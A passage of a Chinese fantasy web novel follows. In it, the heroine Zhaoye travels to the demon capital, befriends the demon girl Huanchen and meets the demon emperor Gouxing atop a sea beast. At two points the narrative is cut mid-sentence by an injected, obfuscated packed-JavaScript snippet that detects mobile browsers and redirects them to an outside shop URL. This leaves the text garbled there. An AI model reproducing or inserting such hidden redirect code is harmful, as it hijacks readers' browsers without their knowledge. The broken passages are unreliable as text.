“我真的不是,”我赶紧解释,“我叫照夜,是阿爹在镜子山下的小苹村把我养大的。” “我知道,”舒岸摸了摸鼻子,有点不好意思,“我私下问过青莲兄了……抱歉,哥哥听闻后,也十分好奇,所以……” 即便心里有意见,那也不能当着人君的面发牢骚,他可是人界的皇帝。我擦擦下巴上的雨水,小心翼翼问道,“不知君上召见可有要事?” 舒仲这才放下手中的银勺,转过身,神色端正了些,“确有一件要事相商,稍等片刻。” 我正襟危坐,小口喝着宫人奉上的茶,心下忐忑。 不多时,宋莹姗姗而来。她并未寒暄,直接挥手布下一道隔音仙障,开门见山道,“皇宫四周虽有禁仙锥,但仍需以防万一,谨慎为上。” 我意识到有大事发生,连忙坐直了身子。宋莹打开鸟笼,那灰色的符光鹊立刻跳到她手上,很快,一段仙力凝聚的文字出现在众人眼前。 照夜可往。 令人摸不着头脑的四个大字。 “君上,我虽已位列仙班,但终究出身凡人,人界安危始终牵挂于心。”宋莹语气沉静,“正因如此,我才劝您早作打算。据我在仙宫所闻,仙帝并无增援之意,反而打算命铁棘仙人撤去屏障。一旦玉山失守,怪物长驱直入,人界必须提前筹谋。” “哥!我早就说过仙界不可尽信!玉山当时是何等惨状,我最清楚不过!”舒岸情绪有些激动。 “此时与仙界公然决裂绝非上策,至少需待大典之后再从长计议。”舒仲负手在我们面前踱步,眉峰紧锁,“但人界也确实不能坐以待毙。” “既然青莲推举了最合适的人选,而她与舒将军又交情匪浅,”宋莹走到我身边,轻声道,“照夜,恐怕要劳烦你往映山都走一趟,务必办妥熠石之事。” 我这才恍然,将前因后果串联起来。随着舒仲的叙述,一层深重的忧虑漫上心头。 因人界态度不明,原本稳定供应玉山的熠石已然中断。缺乏熠石,前线将士对抗怪物便将付出惨重代价,而仙界援军却杳无音信。人界被夹在中间,进退维谷。 舒岸先前从不愁行那里得知魔皇曾重金求购我的静心养胃丹,知我与魔皇钩星有旧,便向兄长提议,由我暗中前往魔界采购熠石以备不时之需。舒仲则委托宋莹以符光鹊千里传讯,向穆青求证此事,这才有了穆青传回“照夜可往”的回应。 “哥哥,萤火仙人,请容我私下与照夜一谈。” 棠梨宫曾是先皇后棠梨的旧居,宫苑深处仍植着数排她最爱的秋海棠。时值深秋,连绵冷雨已将枝头残花打落殆尽,唯有暗沉枝桠在雨中静默伫立。碎红狼藉地浸在积水中,被豆大的雨点敲打得不断颤动。噼啪雨声密集如鼓点,将四周笼罩得仿佛与世隔绝。 身侧的高大男子执一柄青竹油纸伞,几乎将整个伞面都倾向我。雨水早已浸透他另一侧的肩头,深色衣料紧贴出挺拔而孤直的线条。他微蹙着眉,薄唇紧抿,素来沉静的眸中沉淀着难以化开的凝重,恍若肩负千钧。 “抱歉,未能事先向你言明。” “你没有说实话舒岸。”我此刻有些愤怒地盯着面前的男人,试图擒住他闪躲的目光,“你从一开始就对仙界极其不信任,究竟是何原因?” “我不能说,照夜……我不能。”舒岸艰难地合了合眼,喉结滚动,“我只知人界此劫前所未有,纵使是既定天命,我也想要抗争。但有些事……我此刻无法坦言。” “说实话,舒岸,”我余光扫过不远处的宋莹,心下惴惴,“我也难以全然信任仙人,包括宋莹——即便她曾与青莲交好。何况她此前还说过那样的话……” “萤火仙人解释过,当时有百目法眼监视,她不得不言不由衷。” 察觉宋莹的视线似有若无地掠过,我借舒岸的身形遮挡,压低声音,“你莫非真以为修仙之人便已超脱凡俗?他们同样精通阴谋算计。萤火仙人饲养着一种以仙力为食的莹虫,可用于定点传讯。她若真要联系小青,绝不会动用符光鹊——他们从来不用这种方式联络。” “……” 舒岸瞳孔微震,下意识便要回头,我一把攥住他的前襟,示意他切勿声张。 “听着,我虽不知他们究竟有何图谋,但我认同她的部分判断,也赞同人君尽快备战的决定。我与小青有约在先,只做我们认为正确之事,不问立场,不计得失。所以,这一趟,我愿意去。我会尽力说服魔皇,为人界争取一线生机。” 男人眼圈蓦地泛红,他深吸一口气,重重握住我的肩膀,指节因用力而微微发白,“你与青莲的恩义,人界永志不忘。我舒岸在此立誓,君倾赤忱肝胆照,吾必以七尺山河酬!” 我笑了笑,说道,“等眼下的事告一段落,我和小青来找你喝酒。那时,我想听你亲口说出那个秘密,可好?” 舒岸用力眨了眨有些发红的眼睛,唇角扬起一抹真切的笑意,“好,一言为定。” “那我准备出发了。可以的话,请为我准备万界门,也好节省些时间。” “好!” 得知我要前往映山都,饭饱饱连忙塞给我一小包丹药,再三叮嘱我一定要请魔皇试用。我瞅了一眼,除了美体丹,竟还有不少别家炼制的丹药。我将它们一股脑儿塞进包袱,心想反正钩星是个冤大头,再宰他一刀也不是不行。 不知为何,一想起这个臭脸王我竟然有点小期待,出发前,我甚至和尾巴打了个赌——我赌这个小气的男人此番必定又要敲诈我几十年仙力。尾巴却悠悠然表示,比起仙力,钩星或许更想重温一次与我“共鸣”的滋味。 等待万界门开启的过程颇为枯燥。 身处扭曲变幻的空间通道中,四周空无一物,我只能与尾巴闲聊打发时间。我问他,“共鸣究竟是什么?” “就是字面意思呀,仙力交融,便是共鸣。” “我虽未正式修行,可也参加过试仙考核,基础道理还是懂的。通常情况下,仙力相互碰撞只会导致湮灭,怎么可能交融?” “确实,湮灭是常态,交融实属异数。更何况,出于自我保护的本能,个体体内的仙力极少会主动让渡给外人。” “照这么说,当初钩星能与我共鸣成功,其实是你妥协了,是你将力量借给了他?” 尾巴在我指尖流转,幻化成各种形状,甚至模拟起积云成雨的过程。 滴滴答答的光点落下,又融汇进光团之中,那柔和的光芒无论何时看去,都令人心生宁静。 “对啊,我不讨厌他,甚至……有点喜欢。” “你不能喜欢他!你只能喜欢小青。考虑一下我的主观意志好不好?”我有些气恼地拍散那团光云。 尾巴便懒洋洋地搭上我的肩头,声音里带着笑意,“我当然最喜欢青莲,也喜欢舒岸呀。” “你不能这样滥情,就不能只喜欢一个人嘛。” 尾巴突然哈哈大笑起来,幻化出一朵光晕凝结的小花,在我胸前轻轻摆动,“我可是这三界之中最专一的尾巴,绝不吹牛。” 今早起得早,倦意渐渐袭来。我枕着尾巴柔软的光晕,不知不觉便睡着了,直至抵达目的地才悠悠转醒。 刃柱城。 数年前那场骇人的劫难几乎将这里夷为平地。然而此刻,望着眼前这座比往昔更加繁华喧嚣的边城,我不由得心生恍惚。也许这就是凡人的力量吧,只要一息尚存便可再度起身应战重铸荣光,永不服输。 我漫步在车水马龙的街头,听着两旁店铺伙计卖力的吆喝,看着形形色色的种族摩肩接踵,心中涌起无限的感慨。 原以为前往映山都是件轻而易举的事,直到站在渡口,我才真切体会到何为“一票难求”。 前往魔界的船票极为紧俏,只因那长烬海不仅风高浪急,更有凶悍的烛兽巡游守卫,唯有依循特定航线方能安全通行。 码头上,船夫们的闲聊飘入耳中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还未及细看,身后便传来一声厉喝,“哪里来的小贼!竟敢在贤君祠行窃!” 立刻有两名男子冲上前来扭住我的胳膊。其中一人愤愤道,“就是她!一进门就鬼鬼祟祟的,原来是盯上了咱们储存在地窖里的过冬粮食和干肉!” “误会!天大的误会!我、我并不知道那是你们的地窖——” “少废话!送官究办!” 不由分说,我被扭送到了衙门。两名衙役嘟囔着将我扔进大牢。 坐在臭气熏天、狭窄逼仄的牢房里,我又气又恼,抓起藏有尾巴的瓶子用力摇晃。正在酣睡的尾巴被晃得翻滚了好几圈,总算醒了,探出脑袋嗅了嗅周遭空气,立刻嫌恶地缩了回去,死死扒住瓶壁,任我再怎么摇晃也不肯出来。 正当我跟瓶子较劲时,角落里突然冒出一个黑乎乎的人影,骤然开口,吓了我一大跳。 “喂,小疯子,你自言自语什么呢?怪吓人的。” “你才吓人!”我没好气地回了一句。 蓬乱的头发几乎完全遮住了那女人的脸,只能隐约看见一双黑白分明的眼睛,正饶有兴致地打量着我。尽管满脸污垢,衣衫褴褛,却依旧难掩她原本秀丽的五官轮廓。 “你犯了什么事儿进来的?”她问。 “我不小心打开了别人家的地窖门。” 那蓬头垢面的女子闻言哈哈大笑,从黑暗的角落里向我挪近了两步,“都说刃柱城贼娃子多,果不其然!” “我不是贼!真的只是个误会!”见她似乎没有恶意,我也打量起她来,“那你呢?为什么被抓进来?” 她揉了揉鼻子,下意识咽了口口水,肚子却不争气地发出“咕噜”一声哀鸣,“我肚子饿,想‘借’两个馒头尝尝鲜。” “……身上一分钱都没有了吗?你是……乞丐?” 女子懊恼地按了按不争气的肚子,顺着墙壁滑坐下来,抱着膝盖,声音里带着几分倔强,“我才不是乞丐。我的钱袋被人摸去了,这才……” 原来这名女子名叫环琛,初次从映山都坐船来到刃柱城,不料在船上就被窃走了钱袋。上岸后身无分文,饿得两眼发昏,第二次试图拿馒头时当场被抓,这才被关进了大牢。她已被囚禁三天,粒米未进,几乎快要饿出幻觉,方才见我对着个小瓶子又跳又骂,还以为我是疯子。 互通姓名之后,我与这个没什么心机的姑娘攀谈起来。看得出来,环琛涉世未深,此次是她第一次离家远行,只因向往人界风光而来,谁知旅途尚未开始,便已狼狈收场。 待到次日,一个牢头将我提去问话,言语间暗示我若肯花点“小钱”,便可大事化小,也省得他们再多管一顿牢饭。 无奈之下,我只好自掏腰包自证“清白”,顺便又花了两百个馒头钱,将奄奄一息的环琛也一并赎了出来——再关下去,只怕她真要饿得啃墙皮了。 这番举动让环琛对我的好感瞬间升至顶点。她立刻“姐姐”长、“姐姐”短地跟在我身后,我们便一同回了客栈,打算好好梳洗一番,祛除牢里的晦气。 热腾腾的浴池水汽氤氲,温暖的水流洗去一身疲惫与污浊,也洗出了环琛的本来面目。 20. 第20章 魔界第一美人;海兽烛 这张面容,只消一眼,便足以烙印进魂魄深处,令人永世难忘。世间所有浮华的赞美在此刻堆砌起来,也显得苍白无力,不及她眼波流转间一丝潋滟的光彩。 若说仙界那位第一美人素雪是清冷孤绝的皓月,那环琛便是晨曦初露时,天地间最鲜活、最灵动的那一抹霞光——美得生机盎然,美得令人心尖发颤。 更难得的是,这般惊心动魄的美貌之中,竟糅合了一种毫不自知的娇憨,天真而无畏。尤其是那双眸子,清澈如一泓映着星光的幽泉,眼尾天然微挑,自带一段风流韵致,可顾盼间闪烁的,却尽是懵懂与羞涩。 她大约是受不住我痴怔的目光,白皙的脸颊倏地飞起两抹红云,如同无瑕白玉上骤然浸染了胭脂,色泽一直蔓延到玲珑的耳根。她慌乱地垂下眼帘,似嗔似羞地俯身,掬起一捧水向我泼来。 “照夜,别这么盯着我了……怪吓人的。” “天呐,”我由衷惊叹,“你生得也太好看了,仙界的仙子们加起来,恐怕也比不上你半分。” 环琛却嘟起嘴,眉宇间拢上一抹真实的烦恼,“我知道……可我讨厌这张脸。” “何止是脸!你看你这身段,这里、这里、还有这里……”我忍不住在她胸前、腰肢和臀部比划着,连连咂舌,“简直是老天爷的杰作!这世上恐怕再没人比你更配‘凹凸有致’这四个字了!” “哗啦”一声,环琛懊恼地拍了下水面,叹气道,“就是因为这样才烦呀。走到哪里都有人盯着看,追求者多到让人厌烦,只想躲起来。” 若非深知她心性单纯,我几乎要以为这是种别样的炫耀了。 “怪不得你要把脸涂黑呢。” “嗯,”她声音低了下去,“也是……也是为了不被家里人抓回去。” 这时,我注意到她尖尖的耳朵透出一层粉红的色泽——环琛是魔族。 “那你接下来打算去哪儿?月下州?” “唉,我还是先回家一趟吧,总不能真饿死在半路上。” “正好,我也要去映山都,若不介意,我们结伴同行如何?” 正为盘缠发愁的环琛闻言,立刻开心地搂住我的脖子,笑靥如花,“好呀好呀!照夜,你人真好!” 我要是男人,定在此刻就彻底沦陷了。 置办了新衣干粮,又为环琛补了一张船票,我随身带的盘缠也几乎见了底。船老大浩哥特意来客栈通知,嘱咐我们明日开船务必穿厚实些,长烬海上风浪极大,偶尔还会下起刺骨的冻雨。 说老实话,体内仙力过于充沛不仅让我感受不到饥饿,也感受不到寒冷,但即便如此该遮风挡雨时还是要防护到位,毕竟□□经不住摧残,多保养比较好。 登船那日,天色未明,冰冷的细雨便簌簌落下,如烟似雾,将灰蒙蒙的海面笼罩在一片压抑之中。 浓重的乌云低低地压着海平面,仿佛一块巨大的幕布,要将整个世界吞噬。海浪一改往日的温顺,变得暴戾异常,猛烈地撞击着船舷,溅起惨白的泡沫,发出震耳欲聋的咆哮。 我依稀记得当初破开长渊之时,海面还平静得像一面墨色琉璃,如今却陡然变了脸色,如此凶险,如此骇人。 船只在这狂暴的海面上剧烈地颠簸摇摆。船上除了船老大浩哥和他的五六个手下,乘客只有我、环琛以及其他四人。浩哥坦言,因海况恶劣,原定两日的航程恐怕要延长到四五天。 我的脑浆几乎已被颠簸的海浪摇匀,一听这煎熬的日子还要加倍,只想昏睡到下船为止。 相比之下,环琛反而精神抖擞,在这般境况下竟依旧食欲旺盛,时不时就在舱房里啃着牛肉干打牙祭,惹得我昏睡中都隐隐担心,怕她饿极了会把我当成储备粮啃两口尝尝咸淡。 专门扮了丑相后,环琛化名“丑姑”,果然成功躲过了那些总会黏在她身上的目光。她心安理得地消耗起提前备好的各式干粮,甚至时不时去蹭一点船郎的腌咸鱼下饭。 船老大浩哥终于忍不住跑来向我暗示——这丫头,是真的太能吃了,得加钱。 幸而我不怎么需要进食,否则饿红了眼的环琛,怕是真能为了口粮把我按在地上。 尾巴晕船比我还严重,原本神采奕奕的光团此刻彻底萎蔫,在瓶中有气无力地晃荡着,光泽都黯淡了几分。 直到两天后,降雨停歇,阳光终于驱散层层乌云,这片广阔水域重归宁静。我和尾巴这才缓过劲来,得以慢慢走出船舱,踏上甲板。 风迎面吹来,带着水面上特有的湿润气息。 说来长烬海虽名为“海”,实则是一片极为辽阔的内陆湖,只因水域太过宽广,世人便惯以“海”相称,久而久之,湖也就成了海。 真正的海洋位于东北方向,仙界一路向东便是东海,而人界北部亦有一片海域,其中有一处名为“捧日峡”的峡湾,堪称天地造化之奇观。 捧日峡峡口狭窄,两侧峰峦高耸入云,几乎遮蔽天日,唯有正午时分,日轮行至中天,光芒才能垂直倾泻而入,照亮峡湾最深处。那一刻,幽暗尽褪,万物披上金光,景象极为壮丽。 也因此,峡湾深处盛产一种“霓影贝”,贝壳内蕴藏着虹彩般绚烂的光泽,因稀少而价值千金。 不过,这霓影贝美则美矣,却并无大用,多被制成首饰妆匣——看来无论何处,女人的钱总是最好赚的。 正当我和尾巴享受着久违的阳光时,环琛悄悄凑了过来,神秘兮兮地告诉我,她有一个重大发现,必须立刻马上告诉我。 “啊?你怀疑就是他们偷了你的包裹?”我故作镇定,目光不经意地扫过另一拨船客。那是两男两女,裹着寻常头巾,衣着朴素,为首的男子脸上有一道显眼的刀疤,看上去不太好惹。 “嗯!你看那个女人,”环琛压低声音,指向其中一名肤色略深的女子,“她拇指上戴的,就是我丢的那枚戒指!” 我定睛细看,那似乎是一枚流山石戒指。流山石这种矿石天生自带温热,据说对女子身体有益,常有人用它来热敷腹部,缓解信期不适。 “那是我哥哥送我的礼物。照夜我跟你说,我哥哥长得可好看了,想和他生娃的女子,都快把我家门槛踏破啦!” 我一口水差点喷出来,满腹狐疑,“我不信。就算他有‘轩轩霞举,皎皎玉树’之貌,也不至于夸张到这种程度。再说了,在我眼里只有小青最好看,他神清骨秀,丰神俊朗,一笑若春风,没人能比得过。” “咦?小青是谁?是你的郎君吗?”环琛好奇地眨着眼。 我闻言竟是一愣。我和穆青……似乎确实还未曾将关系更进一步。 至今为止,他仍不是我的郎君,我也不是他的娘子。 “他……他最近比较忙。等忙完了,我们就成亲。”我有些含糊地答道。 这回轮到环琛愣住了。她仰起那张被涂得五颜六色的脸,不解地问,“为什么非要成亲?直接生娃不就好了吗?” “……你们魔界的习俗,都这么奔放的嘛?” “对呀!”环琛一脸理所当然,“我们的魔皇陛下,一个妃子都没有,就已经生了十个孩子了呢。所以成亲这件事,不必须,也不重要——至少在我们魔界是这样哦。” 顷刻间,我只觉一股寒意从脚尖直冲头顶,浑身僵硬如石——万万没想到,短短一年不到,钩星竟已有了十个孩子!当真是人不可貌相,他竟有这般“能耐”,光是这一点,无论是人君还是仙帝,怕是拍马也难及。 这话题从戒指被偷开始,一路歪到了奇奇怪怪的地方,最后竟扯到了抱婴椿上。 环琛说,那棵灵树结了一颗罕见的金色胎果,引得众人蜂拥围观,连魔皇也常去探望,大家都好奇这金色的果实会孕育出怎样的孩子。 这直接导致我当晚便做了个梦,梦里抱婴椿硕果累累,也勾起了我第一次从成熟胎果中抱出婴儿的记忆——生命的诞生,总是如此奇妙。 然而一声巨响自船尾传来,猛然击碎了我的梦境。 我惊醒坐起,发现环琛不在身边,外面传来嘈杂的人声和凌乱的脚步声。我顾不上穿鞋便冲了出去,在摇晃的油灯光下,只见环琛被那几个裹头巾的人拽住,一个水手探出头大声询问情况。 “你们干什么!放开她!”我一边用力摇晃青莲瓶,一边厉声质问,“深更半夜劫持一个姑娘,到底想做什么!” 尾巴这几天被颠簸折磨得够呛,他软绵绵地耷拉在我手心,甚至发出了干呕的声音,“呕——咕噜咕噜,好难受……” 离谱的是,光粒竟如液体般摊开,仿佛尾巴真的因晕船而吐在了我手上。我下意识一甩,竟将尾巴甩了出去,跌落到那四人脚下。 为首的刀疤男弯腰拾起那摊软泥般的光团,出乎意料地猛然一甩,将其丢进了汹涌的大海中。 我惊骇万分,冲到船舷边,只见乌黑的浪涛瞬间吞噬了尾巴的光芒,连一丝痕迹都没留下。我心慌意乱地摸了摸自己的屁股——完了,我的尾巴没了。 “脏死了,你们有没有公德心,乱扔垃圾!”刀疤男擦了擦手,凶神恶煞地瞪着我,“说!为什么半夜到我们房里偷东西?不说实话把你们也扔下去喂海兽!” “我才没偷东西,是你们偷了我哥哥送的戒指!”环琛虽然被制住,却毫不示弱。 那黑皮肤女子晃了晃手上的戒指,翻了个白眼,“这是我从黑市上买的!想要?拿一千利衡币来!” “大半夜吵什么吵?!”船老大浩哥被小弟叫醒,一脸不悦地从舱中钻出,粗犷的嗓音立刻镇住了全场。 “我不管,把戒指还给我!”环琛虽然胳膊被拉住,脖子却灵活得很,竟低头一口咬住那女子的大拇指。 凄厉的惨叫在夜空中炸开,众人顿时手忙脚乱地上前想要撬开环琛的牙关,却又怕她真咬断对方的手指而不敢用力。 眼看局势失控,浩哥一记手刀精准地砍在环琛后颈,她立刻软软地晕了过去。 “痛死我了!大哥,把这两个疯女人扔下船去!”被咬的女子哭喊着。 “别别别,千万别冲动!这是个误会!”我将环琛拖到身边,瞥了一眼空荡荡的青莲瓶,心提到了嗓子眼,“各位好汉,这妹妹年纪小不懂事,医药费我来赔,有话好商量!” 这时,刀疤男身边一个一直沉默的同伴低声劝道,“大哥,黑市上的东西来路不正。看这丫头拼命的架势,估计没说谎。” 刀疤男黑着脸,目光在浩哥和我之间扫视,最终沉声道,“那就谈谈吧,老浩。” 真是个糟糕透顶的夜晚。 狭小的船舱里,油灯将人影投在斑驳的木板墙上,随着船只摇晃而扭曲变形。 我坐在一张破烂的木桌前,对面是两个凶神恶煞的大汉。失去了尾巴傍身,我此刻彻底硬气不起来,只能缩着肩膀,挤出一副唯唯诺诺的笑脸,心里七上八下,生怕一个不慎就被扔进这漆黑冰冷的海里——毕竟我从小就是个不折不扣的旱鸭子。 “你们什么来头?”刀疤男阿烈目光如钩,在我身上来回扫视,“该不会是黑头帮派来的探子吧?” “看着不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549486|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”浩哥咕噜咕噜灌了两口烈酒,抹了抹嘴,“这姑娘像是没怎么出过远门的,高价船票说买就买,还是两张。咱跑船这么多年,就没见过这么不还价的主顾!”他转向阿烈,语气带着埋怨,“喂,阿烈,老子早劝你别去招惹黑头帮,现在倒好,闹得要去魔界避风头,图个啥?” “黑头帮有当官的撑腰,连一口饭都不给我们留!”阿烈猛地一拍桌子,额上的疤痕因激动而显得愈发狰狞,“那东西明明是我们一起发现的,他们却想独吞!还给我留了这个‘记号’!天下没这样的道理!见者有份,这才是规矩!” 浩哥叹了口气,“黑头帮确实太嚣张,航路都被他们垄断了,害得我们只能铤而走险走这‘黑海’……哼,不然早就平安到映山都了!” “什么?!你这船是黑船,不在安全航道里?”我惊得差点跳起来,“万一遇到海兽怎么办?!” “你还真是外面来的,不懂刃柱城的规矩。”浩哥嗤笑一声,“就你花的那点钱,想坐正经船?排队都得排到半年后去!” 我眼前一黑,只觉得一口闷气堵在胸口,天旋地转,差点从凳子上栽下去。 名叫阿烈的刀疤男瞥了我一眼,嘴角扯出一丝似笑非笑的弧度,“听说啊,海兽‘烛’最喜欢吃你们这种细皮嫩肉的小丫头,一口能吞俩。” “哈哈哈,别吓唬人家姑娘家了。”浩哥又灌了一口酒,话锋一转,“对了,那‘玉胚’呢?拿出来给咱们掌掌眼呗。” 令人匪夷所思的是,阿烈竟没急着向我勒索伤药费,反而转身回屋取来一个沉甸甸的石匣,神神秘秘地和浩哥凑到一起。 我屏住呼吸,也忍不住好奇,小声催促着阿烈打开盖子。 匣盖掀开的瞬间,一股难以言喻的寒气渗出。 一块黄绿色的、玉状的物体静卧在石匣深处,色泽幽邃,仿佛凝结了万古深渊的光阴。它表面光滑,却隐隐透出一种类似生物脏腑的润泽与柔软。仔细看去,其内部竟有细微的、脉管般的纹路在微微搏动。 这玉中,仿佛封存着一泓粘稠的黄绿色浆液。而就在那浆液深处——有什么东西正在挣扎。 一突、一颤。 动作缓慢而固执,如同尚未成形的手指,在内部叩问着无形的囚牢;又像一颗寄生在玉石中的、异类的心脏。那动静被胶着的液体阻滞,显得模糊而艰难,却因此更叫人脊背发凉。 就在这一刹那,一股阴冷、湿腐、又诡异地夹杂着一丝生命甜腥的气息弥漫开来。 这味道如同一道冰冷的钩锁,瞬间刺入我记忆最漆黑的底层,将一段令人头皮发麻、血液几乎凝滞的恐惧硬生生扯了出来。 我僵在原地,牙齿抑制不住地轻轻打颤。 他们不知道……他们眼中这天地造化的奇迹,根本不是什么宝玉。 它是一个活着的胚胎。 “别动!”我几乎停止呼吸,一把拦住正欲伸手触摸玉胚的浩哥,脸色惨白如纸,“别惊动这怪物……千万别动!” “……怪物?你胡说什么!这可是千金难求的玉胚!”阿烈不以为然地举起那块“玉石”,对着昏暗的灯光端详。只见一个虫形的阴影正在黏稠的胎液中缓缓游动,“看见没?这可是活玉!就眼前这成色的,少说也值一万利衡币!” 这哪里是什么玉?这分明是瘴母神的卵! 就在这时,一个水手连滚爬爬地冲进舱门,面色惊恐万分。他话音未落,一股巨浪猛烈的拍击而来,几乎将我们全部掀翻在地。 “船头儿!海兽……是海兽来了!!” 船身发出令人牙酸的嘎吱声,仿佛被什么无形之力攫住,猛烈地倾斜、震颤。我们踉跄着冲出船舱,只见月光下,原本翻涌的海面诡异地向下塌陷、旋转,形成一个巨大的漩涡。 漩涡中心,两点幽绿的光芒骤然亮起,如同深渊中的鬼火。紧接着,一个难以想象的巨大头颅破开水面,带起山岳般的浪潮,狠狠砸向船舷!我死死抱住桅杆,惊恐地望着那巨兽——耳边所有的哭喊都被震耳欲聋的水声淹没,令人肝胆俱裂。 这就是“烛”吗? 它巨大的头颅形似蛇首,覆盖着湿滑厚重的黑色鳞甲,每一片都大如盾牌,边缘泛着青铜般的冷光。两根扭曲嶙峋的犄角如断裂的桅杆刺向夜空,其下方,便是那对幽绿巨眼——没有眼睑的晶体深处,仿佛燃烧着来自九幽的火焰,死死锁定了我们这艘渺小的船只。 “准备——发射!!”我回头,只见浩哥已架起沉重的弩机,发出声嘶力竭的吼叫,“给老子把它打下去!” 就在这千钧一发之际,一声低沉而绵长的叹息,仿佛穿越亘古黑暗,幽幽响起。 我于混沌与恐惧中抬头,望见那双灿若星辰的金色眼眸——他正屹立于海兽犄角之间,睥睨着脚下翻腾的海渊与臣民,就如劈开长渊之时,他终于成为百年后第一位回到故土的魔皇。 “慢着!都别动!”我猛地飞奔上前,挡在即将击发的弩机前,朝着那几乎与黑暗融为一体的身影大喊。 汹涌的波涛仿佛在等待主人的号令,随时能将这叶扁舟拍得粉碎。 “那……那是谁?!”浩哥目瞪口呆地望着从黑色水雾中显现的身影,双腿一软,竟扑通一声跪了下来,“金、金色的眼睛……是魔皇!是魔皇陛下!” “发生……发生什么事了?”方才的撞击让环琛醒了过来,她揉着脑袋跌跌撞撞跑出船舱,仰头看到海兽头顶的男人,顿时惊呼出声,“钩星哥哥?!你、你怎么知道我在这儿?!你是来抓我回家的吗?” 21. 第21章 再遇魔皇;尾巴晕船 瘫坐在地的阿烈面无人色,仍死死将那枚所谓的“玉胚”护在胸前,整个人已被那巨兽震慑得动弹不得。 我猛地回过神,朝着上方高声喊道,“钩星,这里有一枚瘴母神的卵壳!” 烛庞大的头颅只是微微一动,便搅得海面翻涌,巨浪迭起。 我们的小船如枯叶般颠簸摇晃。我顾不得许多,跃至阿烈身前,伸手便要夺过那卵壳。 他这才如梦初醒,奋力挡开我的手,嘶声道,“这是我的!是我拼了命才抢回来的!” 我一把揪住他的衣领,厉声喝道,“那不是宝贝,更不是什么玉胚!那是怪物的卵!” 话音未落,一只微凉的手轻轻按在我肩上。 一道身影如雾气般自我身旁掠过,仅是抬手之间,浓稠的黑雾便将阿烈整个人凌空架起。 那包裹着诡异胚胎的卵壳“啪嗒”一声坠落甲板,下一秒,便被黑雾毫不留情地碾碎。一滩腥臭粘稠的汁液应声溅开,我下意识后退一步,胃里翻江倒海,几欲作呕。 “火。” 钩星的声音平静无波。 船老大闻言,颤颤巍巍地取来火折子,点燃一支干树枝,小心翼翼地将那破碎的怪物残骸烧成灰烬。 “魔皇陛下!求求您放过我们老大!我们、我们真的不知道这是什么东西啊!”阿烈的三名同伴此刻终于明白闯下大祸,纷纷跪地叩头求饶。 他们心知肚明,眼前之人若要取阿烈性命,不过弹指之间。 “钩星哥哥!他们偷了哥哥送我的戒指!”环琛趁机跑上前,夺回失物,有些得意地在面如土色的四人面前晃了晃。 “看来只是误会一场,他们并非存心作恶。”我轻轻拉了拉钩星的衣袖,低声道,“不如让他们戴罪立功?他们似乎知道这卵壳的来历。” “……”钩星并未答话,黑雾一甩,将瘫软的阿烈扔回甲板。 接着他身影一晃,已无声无息地立在了烛那巨大的头颅之上。 静默片刻,钩星忽然低头看向我,声音低沉,“要不要试试,”他顿了顿,“我的第二十七个坐骑。” “那……你拉我一把?”我仰头望着他。 未等我话音落下,熟悉的黑雾便轻柔地将我托起,稳稳送至海兽头顶。下一刻,烛缓缓转身,向着长烬海深处游去。 我生怕滑落,连忙紧紧抓住钩星的手。他却只是轻笑一声,随意坐下,仰望着天边那轮清冷的月亮。 “糟了!我的尾巴,我的尾巴掉海里了!”我猛地想起这要紧事,慌忙扶住身下湿滑冰冷的犄角,“能不能请你这位‘第二十七坐骑’帮个忙,把我的尾巴捞起来?” “在这儿。”钩星从袖中倾倒出一团温润的光晕,在掌心随意揉捏着,“既然不想要,干脆送我算了。” 我立刻扑过去,一把将我的尾巴抢回来,迅速塞进青莲花瓣状的瓶子里,“谁说我不要!快还给我!” “……小气鬼。”钩星故作无奈地长叹一声,向后躺倒在烛坚硬的黑色鳞片上。海兽行进得极稳,竟比乘坐船只舒适百倍,“你离开多久了,照夜?” 折腾了一整晚,我早已精疲力尽,也学着他的样子躺下。 别说,这“床”除了有点硬、有点凉,还挺惬意。 “还不到一年呢。之前你不是说咱们不会再见了么?哈哈,没想到吧,这么快又见面了。” 钩星唇角微弯,那双璨若星辰的眼眸,仿佛成了这长烬海上最亮的指引。“快么?”他低声说,声音几乎融进海浪声里,“为何我却觉得,时间从未如此漫长过。” 海浪轻柔地呢喃,像一支单调却抚慰人心的旋律。我蜷缩起身子,睡意渐渐袭来。 朦胧中,那熟悉的黑雾再次悄然弥漫,轻柔地笼罩住我,宛若一抹冰冷的抚触。 这一觉睡得昏天暗地,仿佛在梦中已跋涉过千年光阴。 于梦中“醒来”时,只觉得尾巴蔫蔫地蜷在我脚边,一副无精打采的模样——谁能想到一团仙力竟会晕船,连带着我也浑身不适。 “该醒了吧?我感觉自己睡了好久好久。“ “我要和你决裂。“尾巴的声音带着委屈的颤音,“你不仅把我丢在地上,还任由那臭小子把我扔进海里!“ “可你当时吐我手上了啊,“我无奈地解释,“我那也是情急之下的反应。“ 眼下没时间哄它闹脾气,我只好将他轻轻捧在掌心安抚,“就原谅我这一次,我保证绝不会再有下次了。“ 尾巴这才稍稍平息,温顺的光团贴在我心口,仿佛叹了口气,“好吧,原谅你了。“ “可你为什么会晕船晕得这么厉害?仙力也会晕船吗?“ “这是我唯一的弱点。“他声音虚弱,“下次再也不能坐船了。呕——“ 我简直哭笑不得。这团光竟真趴在我胸前“吐“了起来,虽然吐出来的只是无色无味的仙力光点,但看着他这般难受,我也只好忍着一动不动,盼着它能快些好转。 就这样昏昏沉沉地不知又过了多久,就在我几乎要在梦中再次睡去时,身体终于渐渐恢复了知觉。 微风带着潺潺水声悄悄钻进耳中。 “咦,钩星哥哥,照夜就这样一直泡在泉水里没关系吗?都已经三天了呢。“ “小琛,要称呼陛下。“ “无妨。泉礼,带你妹妹下去,太吵了。“ “是,魔皇陛下。“ 